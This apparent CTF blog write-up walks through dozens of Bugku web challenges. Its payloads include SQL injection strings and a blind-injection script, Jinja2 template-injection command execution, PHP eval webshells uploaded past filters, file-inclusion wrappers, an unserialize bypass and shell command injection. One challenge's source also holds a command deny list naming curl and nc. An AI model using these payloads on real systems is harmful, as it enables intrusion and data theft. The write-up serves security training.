Bugku--web新版

开始

从-1到0的CTFer之路

web1 签到

F12,flag在body中
在这里插入图片描述

web2 前端长度限制

输入有长度限制,改成2
在这里插入图片描述
写结果出flag
在这里插入图片描述

web3 简单构造

直接构造?what=flag
在这里插入图片描述

web4 POST提交构造

$what=$_POST['what']; //接受post过来的参数what,存到what里
echo $what;//打印
if($what=='flag')//如果值是flag
echo 'flag{****}';//打印flag

hackbar在post data里构造what=flag
或者bp抓包,右键change request method,在最下方构造what=flag
在这里插入图片描述

web5 数字矛盾

$num=$_GET['num'];//获取参数num
if(!is_numeric($num))// 如果num不是数字
{
echo $num;
if($num==1)//如果num是数字1
echo 'flag{**********}';//打印flag
}

要求不是数字且为1,有些矛盾。但if($num==1)用的是==,这是弱类型比较,如果等号两边类型不同,会转换成相同类型再比较。在弱类型比较下,当一个字符串与数字比较时,会把字符串转换成数字,具体是保留字母前的数字。例如12a3b4会转成12,ab1c会转成0(字母前没数字就是0)

与之对应的是强类型比较,用的是三个等号===,如果类型不同就直接不相等了
在这里插入图片描述

web6 Unicode编码

网页源码发现Unicode,直接转ASCII
在这里插入图片描述
在这里插入图片描述

web7 图片刷新

刷新网页源码,10.jpg的时候会出现flag
在这里插入图片描述

web8 文件包含

$_REQUEST[]支持det、post两种方式发送过来的请求,很明显接收了hello参数的值
var_dump()函数 显示关于一个或多个表达式的结构信息,包括表达式的类型与值;数组将递归展开值,通过缩进显示其结构
eval()函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。
show_source() 函数对文件进行语法高亮显示,是 highlight_file() 的别名

构造?hello=file('flag.php')
在这里插入图片描述
或者?hello=show_source('flag.php')
在这里插入图片描述

web9 全局变量

preg_match("/^\w+/ " , /",/",args)
执行正则表达式匹配,/^开始,\w表示任意一个单词字符,即[a-z][A-Z][0-9],+将前面的字符匹配一次或多次。后面的args变量是被匹配的,相当于在args变量里寻找符合正则表达式的部分,若有则返回1,若没有则返回0。

因为有正则表达式的验证过程,所以我们没法利用本地包含漏洞查看flag1.php
$GLOBALS[index]的数组中存储了所有全局变量,令args=GLOBALS正好符合条件利用可变变量输出

构造?args=GLOBALS
在这里插入图片描述

web10 头等舱

提示头等舱,flag就在网络的响应头里
在这里插入图片描述

web11 留后门

中国灰客,御剑扫,shell.php可以打开
在这里插入图片描述
需要输入密码,用bp爆破,发现密码是hack(这个真不好爆破)
在这里插入图片描述
在这里插入图片描述

web12 本地登录

管理员账户,我们尝试登录,提示IP禁止访问,既然是本地管理员,那就是我们的localhost,火狐可以下载插件,X-Forwarded-For
在这里插入图片描述
就解决了IP的问题,然后就是账号密码是多少
在这里插入图片描述
网页源码的最右边有一串字符,base64编码,解码后即为密码
在这里插入图片描述
在这里插入图片描述
账号是admin,登录成功
在这里插入图片描述

web13 URL编码

查看源码可以发现有两段URL编码,根据eval我们把p1+%35%34%61%61%32+p2连接起来,然后URL解码,得到:

function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;

在这里插入图片描述
将if中的值提交,得到真实的flag
在这里插入图片描述

web14 文件包含漏洞+Base64编码

利用文件包含漏洞

?file=php://filter/read=convert.base64-encode/resource=index.php

在这里插入图片描述
将base64编码解码,得到flag
在这里插入图片描述

web15 五位数密码

五位数密码,可以是10000-99999
用bp抓包,设置payload类型为Numbers
在这里插入图片描述
发现密码为12468
在这里插入图片描述
输入密码出现flag
在这里插入图片描述

web16 bak文件+MD5弱碰撞

御剑扫,发现index.php
在这里插入图片描述
构造/index.php,没反应,根据提示,备份文件,那就构造/index.php.bak,果然可以下载
在这里插入图片描述
打开文件发现获得flag的条件是key1不等于key2且MD5加密后相等
在这里插入图片描述
构造?kekeyy1[]=1&kekeyy2[]=2,得到flag
在这里插入图片描述

web17 POST型SQL注入

判断注入类型:
id=1' #
判断字段数:
id=1' order by 4#
判断回显位:
id=1' union select 1,2,3,4#
查询表:
id=1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
查fl4g的字段:
id=1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'#
列出数据:
id=1' union select 1,2,3,skctf_flag from fl4g#
在这里插入图片描述

web18 快速反弹POST请求1

可以看看这篇
刷新几次提示give me value post about
在这里插入图片描述
抄了一个python脚本

import requests

url ="http://114.67.246.176:10801/"

s = requests.Session()
req = s.get(url)
a = req.text[req.text.find('<div>')+5:req.text.find('=?')]
aa = eval(a)
d = {'value':aa}
req = s.post(url,data=d)

print(req.text)

在这里插入图片描述

web19 快速反弹POST请求2

源码中提示让我们post margin
在这里插入图片描述
响应头中发现了flag,Base64编码,解码后的flag也不对
在这里插入图片描述
“我感觉你得快点”,和秋名山一样,还是利用脚本来跑

import base64
import bs4,requests

url='http://114.67.246.176:14446/'#指定url
req2=requests.Session()#开启一个会话
ht = req2.get(url)
temp = base64.b64decode(ht.headers['flag']).decode()#base64解码请求头中的flag参数
flag=temp.replace("跑的还不错,给你flag吧: ","")#把修饰语删除
flag=base64.b64decode(flag).decode()#竟然还要解码一次!!!不看wp真没想到ε=(´ο`*)))唉
d={"margin":flag}#构造post数据
r = req2.post(url, data=d)#data属性提交post参数
print(r.text)#打印

在这里插入图片描述

web20 cookies欺骗

cookies欺骗
发现url中有一段Base64编码,解码为keys.txt
在这里插入图片描述
我们让filename读自己(即index.php),要记得Base64编码,line=?表示行
输入line=1
在这里插入图片描述
line=2
在这里插入图片描述
以此类推,直接用脚本跑一下

import requests
a=30
for i in range(a):
    url="http://114.67.246.176:14156/index.php?line="+str(i)+"&filename=aW5kZXgucGhw" 
    s=requests.get(url)
    print(s.text)

最后读出的源码为:

<?php
 
error_reporting(0);
 
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
 
$line=isset($_GET['line'])?intval($_GET['line']):0;
 
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
 
$file_list = array(
 
'0' =>'keys.txt',
 
'1' =>'index.php',
 
);
 
 
 
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){       //看这里
 
$file_list[2]='keys.php';
 
}
 
 
 
if(in_array($file, $file_list)){
 
$fa = file($file);
 
echo $fa[$line];
 
}
 
?>

构造cookie: margin=margin,即可访问key.php
在这里插入图片描述
运行后页面空白,源码中发现flag
在这里插入图片描述

web21 重定向+二次编码

将网址改为/1p.html,发现一段Base64编码
在这里插入图片描述
解码得:
֢lʢܢڰ*‘۩0{稛m%22%3Bif(!%24_GET%5B’id’%5D)%0A%7B%0A%09header(‘Location%3A%20hello.php%3Fid%3D1’)%3B%0A%09exit()%3B%0A%7D%0A%24id%3D%24_GET%5B’id’%5D%3B%0A%24a%3D%24_GET%5B’a’%5D%3B%0A%24b%3D%24_GET%5B’b’%5D%3B%0Aif(stripos(%24a%2C’.’))%0A%7B%0A%09echo%20’no%20no%20no%20no%20no%20no%20no’%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20%40file_get_contents(%24a%2C’r’)%3B%0Aif(%24data%3D%3D%22bugku%20is%20a%20nice%20plateform!%22%20and%20%24id%3D%3D0%20and%20strlen(%24b)%3E5%20and%20eregi(%22111%22.substr(%24b%2C0%2C1)%2C%221114%22)%20and%20substr(%24b%2C0%2C1)!%3D4)%0A%7B%0A%09%24flag%20%3D%20%22flag%7B***********%7D%22%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20!!!%22%3B%0A%7D%0A%0A%0A%3F%3E~霶’:떢oj^j+vÞj+v

再经过url解码得:

֢lʢܢڰ*'۩0{稛*m";if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	$flag = "flag{***********}"
}
else
{
	print "never never never give up !!!";
}


?>~霶*':떢oj^j vÞj v

根据if中的条件,id=0会导致重定向,那么就不能是数字0可以是字符0
b长度大于5
ereg()函数或eregi()函数在一个字符串搜索指定的模式的字符串,搜索不区分大小写
b第一位得是4,与前面矛盾,原来eregi()存在空字符截断漏洞,他匹配到空字符自动停止,url中的空字符自然是%00

构造:

id='0'&a=php://input&b=%0023333

下方输入:

bugku is a nice plateform!

在这里插入图片描述

web22 过狗一句话(assert任意执行代码)

<?php 
$poc = "a#s#s#e#r#t";
$poc_1 = explode("#", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];
$poc_2($_GET['s'])
?>

就是用assert任意执行代码

扫目录:

?s=print_r(scandir('./'))

在这里插入图片描述
发现文件flaga15808abee46a1d5.txt,访问得到flag
在这里插入图片描述

web23 正则匹配

正则,匹配上了就出flag

 <?php 
highlight_file('2.php');
$key='flag{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){ 
  die('key is: '.$key);
}
?> 

有一个好网站,可以判断是否匹配上
在这里插入图片描述

key --> key
.* --> 多个任意字符
key --> key
.{4,7} --> 4-7个任意字符
key:/ --> key:/
. --> 任意字符
/ --> /
(.*key) --> 多个任意字符key
[a-z] --> 任一小写字母
[[:punct:]] --> 任意符号
/i --> 不区分大小写

我们的payload为?id=key1key1keykey:///keya/
在这里插入图片描述

web24 前女友(MD5加密特性+strcmp()比较特性)

在这里插入图片描述
源码中发现code.txt链接
在这里插入图片描述

<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>

传三个参数,v1,v2,v3,要求v1不等于v2且md5值相等
可以利用md5不能加密数组的特性
构造数组v1[]=1,v2[]=2

v3和flag的值相同,返回flag的值
可以利用函数特性,strcmp函数如果出错,那么它的返回值也会是0,和字符串相等时返回值一致
构造数组v3[]=3

所以我们的payload为v1[]=1&v2[]=2&v3[]=3
在这里插入图片描述

web25 SQL约束攻击

注册账号admin,发现已经被注册过
在这里插入图片描述
任意注册账号登录提示“不是管理员还想看flag?!”
在这里插入图片描述
那我们就必须通过admin登录
只要注册一个账号为“admin+空格(多加几个)”,密码符合条件即可
登录得到flag
在这里插入图片描述

web26 are you from google?(Referer头)

在这里插入图片描述
只需要用hackbar在Referer头添加http://www.google.com
在这里插入图片描述
在这里插入图片描述

web27 MD5弱碰撞

这题源码没了,从网上找到如下:

<?php

$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
    if ($a != 'QNKCDZO' && $md51 == $md52) {
        echo "nctf{*****************}";
    } else {
        echo "false!!!";
    }
}
else{
    echo "please input a";
}

变量md51的值是经过md5加密的字符串QNKCDZO,字符串QNKCDZO经过md5加密之后的值为:
0e830400451993494058024219903391

分析源代码可知,如果变量a的值不为QNKCDZO,并且a的md5值也为0e830400451993494058024219903391,则会输出flag

很显然,这在计算上是难以实现的

PS:若字符串以数字开头,则取开头数字作为转换结果,若无则输出0
如果md5的值是以0e开头的,那么就与其他的0e开头的md5值是相等的
所以只需要找其他的0e开头的md5值
这篇
在这里插入图片描述

web28 请从本地访问(X-Forwarded-For)

直接用X-Forwarded-For本地访问即可
在这里插入图片描述
或者用bp抓包后在头部加一个X-Forwarded-For:127.0.0.1
在这里插入图片描述

web29 sha1加密特性

<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
    if ($_GET['uname'] == $_POST['passwd'])

        print 'passwd can not be uname.';

    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

        die('Flag: '.$flag);

    else

        print 'sorry!';

}
?> 

传入三个参数,get传uname,post传passwd,get传id=maigin,要求uname和passwd的值不相等且经过sha1加密后相等,这里和MD5加密的绕过方式相同,构造数组即可,因为sha1同样无法处理数组
?id=margin&uname[]=1
在这里插入图片描述
post传入passwd[]=2
在这里插入图片描述

web30 php://input

<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

file_get_contents()把整个文件读入一个字符串中,根据题目的提示存在txt文件,猜测flag.txt,访问后的内容为:
在这里插入图片描述
根据条件,构造/?fn=flag.txt&ac=bugku
在这里插入图片描述
还有一种payload需要bp抓包:/?fn=php://input&ac=flag
php://input执行时会将post内容当作文件内容,flag换成什么也可以在这里插入图片描述

web31 好像需要管理员

在这里插入图片描述
访问robots.txt
在这里插入图片描述
发现里面有一个resusl.php在这里插入图片描述
看到if ($_GET[x]==$password),要传入参数x,我们用bp爆破,x=admin
在这里插入图片描述
在这里插入图片描述

web32 文件上传

http头中的Content-Type
multipart大小写混写
文件后缀改为php4
文件的Content-Type改为image/png
最后文件内容写入一句话
在这里插入图片描述
蚁剑连接

flag在这里
在这里插入图片描述
在这里插入图片描述

web33 逆向加密

给了加密过程

<?php
function encrypt($data,$key)
{
    $key = md5('ISCC'); #729623334f0aa2784a1599fd374c120d
    $x = 0;
    $len = strlen($data);
    $klen = strlen($key);
    for ($i=0; $i < $len; $i++) { 
        if ($x == $klen)
        {
            $x = 0;
        }
        $char .= $key[$x];
        $x+=1;
    }
    for ($i=0; $i < $len; $i++) {
        $str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
    }
    return base64_encode($str);
}
?>

需要对fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=解密

看了大佬的wp

<?php
function decrypt($str) {
    $mkey = "729623334f0aa2784a1599fd374c120d";
    $klen = strlen($mkey);
    $tmp = $str;
    $tmp = base64_decode($tmp);  // 对 base64 后的字符串 decode
    $md_len = strlen($tmp); //获取字符串长度
    $x = 0;
    $char = "";
    for($i=0;$i < $md_len;$i++) {  //  取二次加密用 key;
        if ($x == $klen)  // 数据长度是否超过 key 长度检测
            $x = 0;
        $char .= $mkey[$x];  // 从 key 中取二次加密用 key
        $x+=1;
    }
    $md_data = array();
    for($i=0;$i<$md_len;$i++) { // 取偏移后密文数据
        array_push($md_data, ord($tmp[$i]));
    }
    $md_data_source = array();
    $data1 = "";
    $data2 = "";
    foreach ($md_data as $key => $value) { // 对偏移后的密文数据进行还原
        $i = $key;
        if($i >= strlen($mkey)) {$i = $i - strlen($mkey);}
        $dd = $value;
        $od = ord($mkey[$i]);
        array_push($md_data_source,$dd);
        $data1 .= chr(($dd+128)-$od);  // 第一种可能, 余数+128-key 为回归数
        $data2 .= chr($dd-$od);  // 第二种可能, 余数直接-key 为回归数
    }
    print "data1 => ".$data1."<br>\n";
    print "data2 => ".$data2."<br>\n";
}
$str = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=";
decrypt($str);
?>

运行结果如下:
data1 => �lag�{asdqwdfasfdawfefqwdqwdadwqadawd}<br>
data2 => F���:���������������������������������<br>

flag为Flag:{asdqwdfasfdawfefqwdqwdadwqadawd}

web34 文件上传+文件包含

发现文件包含,但是直接包含index.php发生错误
在这里插入图片描述
查看源码,发现upload.php,存在文件上传,因此可以把文件上传和文件包含结合起来
在这里插入图片描述
传一个png,写入一句话
在这里插入图片描述
进行文件包含的时候发现<?php ?>被过滤
在这里插入图片描述

<script language="php">
@eval($_POST['test']);
</script>

在这里插入图片描述
然后就可以用菜刀连了,flag还是再根目录下
在这里插入图片描述
看评论发现直接文件包含/flag就可以,,,离谱
在这里插入图片描述

web35 cookie值等于$KEY的序列化值

源码中发现admin.css
在这里插入图片描述
提示我们try ?22000
在这里插入图片描述
出现源码
在这里插入图片描述
根据代码,让cookie值等于$KEY的序列化的值就能显示flag

用以下代码计算即可

<?php
$KEY='ctf.bugku.com'; 
echo serialize($KEY);
?>

结果为s:13:"ctf.bugku.com";

所以cookie为BUGKU=s:13:"ctf.bugku.com"
在这里插入图片描述

web36 sql盲注+MD5解密+命令执行

各种过滤,是sql盲注

采用大佬的脚本,注意是login.php

import requests

session = requests.Session()
url="http://114.67.246.176:12638/login.php"
flag=''
for i in range(1,250):
        left=32
        right=128
        mid=(left+right)//2
        while(left<right):
                payload="admin'^((ascii(mid((select(group_concat(passwd)))from(%s)))>%s))^'1"%(i,mid)
                data = {'uname': payload, 'passwd': 'admin'}
                res = requests.post(url, data=data)
                if 'password' in res.text:
                        left=mid+1
                else:
                        right=mid
                mid=(left+right)//2
        if(mid==32 or mid==127):
                break
        flag=flag+chr(mid)
        print(flag)

跑出来这么一串

4
4d
4dc
4dcc
4dcc8
4dcc88
4dcc88f
4dcc88f8
4dcc88f8f
4dcc88f8f1
4dcc88f8f1b
4dcc88f8f1bc
4dcc88f8f1bc0
4dcc88f8f1bc05
4dcc88f8f1bc05e
4dcc88f8f1bc05e7
4dcc88f8f1bc05e7c
4dcc88f8f1bc05e7c2
4dcc88f8f1bc05e7c2a
4dcc88f8f1bc05e7c2ad
4dcc88f8f1bc05e7c2ad1
4dcc88f8f1bc05e7c2ad1a
4dcc88f8f1bc05e7c2ad1a6
4dcc88f8f1bc05e7c2ad1a60
4dcc88f8f1bc05e7c2ad1a602
4dcc88f8f1bc05e7c2ad1a6028
4dcc88f8f1bc05e7c2ad1a60288
4dcc88f8f1bc05e7c2ad1a602884
4dcc88f8f1bc05e7c2ad1a6028848
4dcc88f8f1bc05e7c2ad1a60288481
4dcc88f8f1bc05e7c2ad1a60288481a
4dcc88f8f1bc05e7c2ad1a60288481a2

进行MD5解密
在这里插入图片描述
使用admin bugkuctf登录,出现命令执行界面
发现好多字符都被过滤了
cat</flag {cat,/flag}可以
在这里插入图片描述

web37 Base64+sql注入+命令执行

输入账号密码抓包,发现tip,是一段Base64编码
在这里插入图片描述
解码后得到

$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}

构造username=admin' union select 1,md5(123)#&password=123
进入进程监控系统,命令执行
输入123|ls ../../../>res,并且访问/res,发现flag
在这里插入图片描述
123|cat /flag>test,并且访问/test,cat flag
在这里插入图片描述

web38

web39

web40

web41

社工伪造

发现是一个聊天室,我们可以输自己qq号进去
在这里插入图片描述
flag只告诉她男朋友
在这里插入图片描述
小美的空间有这样一条说说,可以看出她男朋友叫小bug
在这里插入图片描述
真·社工伪造来了,把自己qq名字改成小bug,成功…
在这里插入图片描述

Simple_SSTI_1

根据提示,模板注入
{{ config.items() }}
在这里插入图片描述
构造?flag={{config.SECRET_KEY}}
在这里插入图片描述

Simple_SSTI_2

还是模板注入,命令执行的语句如下:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('在这里输命令').read()") }}{% endif %}{% endfor %}

先执行ls看看

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}{% endif %}{% endfor %}

在这里插入图片描述
执行cat flag
在这里插入图片描述
文件读写的命令也是可以的

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('在这里输文件名', 'r').read() }}{% endif %}{% endfor %}

Flask_FileUpload

查看源码,只能上传jpg和png而且上传后的文件会跑python
在这里插入图片描述
那就直接python命令执行

import os
os.system('cat /flag')

flag在源码中
在这里插入图片描述

安慰奖

源码中有base64编码,解码后为backups
在这里插入图片描述
disearch扫描发现存在index.php.bak文件
在这里插入图片描述

<?php

header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{
    protected $username = 'hack';
    protected $cmd = 'NULL';
    public function __construct($username,$cmd)
    {
        $this->username = $username;
        $this->cmd = $cmd;
    }
    function __wakeup()
    {
        $this->username = 'guest';
    }

    function __destruct()
    {
        if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
        {
            exit('</br>flag能让你这么容易拿到吗?<br>');
        }
        if ($this->username === 'admin')
        {
           // echo "<br>right!<br>";
            $a = `$this->cmd`;
            var_dump($a);
        }else
        {
            echo "</br>给你个安慰奖吧,hhh!</br>";
            die();
        }
    }
}
    $select = $_GET['code'];
    $res=unserialize(@$select);
?>

__wake绕过:
payload:?code=O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:12:"tac flag.php";}
在这里插入图片描述

聪明的php

随意传参,出现源码,而且下方有回显,是smarty模板注入
在这里插入图片描述
查看根目录?a={passthru('ls -al /')}

发现一个_25326文件
在这里插入图片描述
cat被过滤,我们构造?a={passthru('tac /_25326')}

xxx二手交易市场

注册后可以修改头像,上传图片抓包,发现把图片编码转成了base64
在这里插入图片描述
image=data:image/php;base64,PD9waHAgQGV2YWwoJF9QT1NUWycxJ10pOyA/Pg==
注意一句话最后的;和?之间要有空格
就像这样
<?php @eval($_POST['1']); ?>
并且一句话本身也需要base64编码
在这里插入图片描述
蚁剑连接
在这里插入图片描述
flag在html中
在这里插入图片描述

冬至红包

各种过滤
在这里插入图片描述
偷来的payload:
flag=$a=blag;$a{0}=f;111111111111111111111;?><?=$$a;?>
思路就是先把blag赋值给$a,然后把$a的第一个字符变成f,这样$a就成了flag。。输出$$a,就相当于输出变量$flag,因为echo被过滤,用短标签<?=$$a;?>替代,有长度限制,不能多不能少,用1来补位
在这里插入图片描述

No one knows regex better than me

没人比我更了解正则:(
payload:
?zero=ZmxhZw==&first=oror|.php
在这里插入图片描述

sodirty

game1

getshell

noteasytrick

社工-初步收集

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
bugku s1 awd排位赛-12是Bugku安全平台上举办的一场AWD(Attack and Defense)排位赛的第12轮比赛。Bugku是一个致力于网络安全技术研究和交流的平台,这场比赛的目的是为了检验参赛者在攻击和防御方面的技术实力。 在AWD比赛中,参赛队伍被分为进攻方和防守方。进攻方需要利用各种手段,如漏洞利用、渗透测试等,成功攻击防守方的系统或应用程序,获取旗帜(Flag)作为证明。而防守方则需要尽可能地去发现并修补自己系统或应用程序中的漏洞,以防止被攻击方获取旗帜。 在bugku s1 awd排位赛-12中,参赛者们经过激烈的竞争,展示了他们在网络安全领域的知识和技能。比赛中的题目可能涉及到各种不同的技术,如Web安全、二进制安全、密码学等。参赛者需要运用他们的专业知识和创新思维来解决这些挑战。 AWD比赛不仅仅是一场技术竞赛,更是一个学习和提高的机会。通过参与这类比赛,参赛者可以锻炼自己的技术能力,增强他们对网络安全的理解和认识。此外,比赛还促进了参赛队伍之间的交流和合作,提供了一个分享和学习经验的平台。 总而言之,bugku s1 awd排位赛-12是一个让参赛者在攻击和防御中展示自己技术的平台,并提供了一个促进交流和学习的机会。通过这样的比赛,可以推动网络安全领域的发展,培养更多优秀的安全人才。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值